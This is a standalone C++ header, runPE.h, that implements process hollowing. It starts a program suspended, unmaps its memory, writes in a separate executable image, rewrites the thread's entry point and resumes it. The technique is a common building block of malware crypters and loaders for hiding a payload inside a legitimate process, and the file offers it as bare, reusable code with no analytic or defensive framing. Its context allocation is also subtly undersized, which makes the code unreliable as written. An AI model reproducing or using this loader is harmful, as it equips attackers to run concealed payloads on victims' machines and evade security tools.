runPE.h

typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);

class runPE{
public:
void run(LPSTR szFilePath, PVOID pFile) 
{
  PIMAGE_DOS_HEADER IDH;     
	PIMAGE_NT_HEADERS INH;     
	PIMAGE_SECTION_HEADER ISH; 
	PROCESS_INFORMATION PI;    
	STARTUPINFOA SI;           
	PCONTEXT CTX;              
	PDWORD dwImageBase;        
	NtUnmapViewOfSection xNtUnmapViewOfSection;
	LPVOID pImageBase;         
	int Count;                 
	IDH = PIMAGE_DOS_HEADER(pFile);
	if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
	{
		INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
		if (INH->Signature == IMAGE_NT_SIGNATURE)
		{
			RtlZeroMemory(&SI, sizeof(SI));
			RtlZeroMemory(&PI, sizeof(PI));
			if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
			{
				CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
				CTX->ContextFlags = CONTEXT_FULL;
				if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
				{
					ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);
					if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
					{
						xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
						xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
					}
					pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
					if (pImageBase)
					{
						WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
						for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
						{
							ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
							WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
						}
						WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
						CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
						SetThreadContext(PI.hThread, LPCONTEXT(CTX));
						ResumeThread(PI.hThread);
					}

				}
			}
		}
	}
	VirtualFree(pFile, 0, MEM_RELEASE);
}
};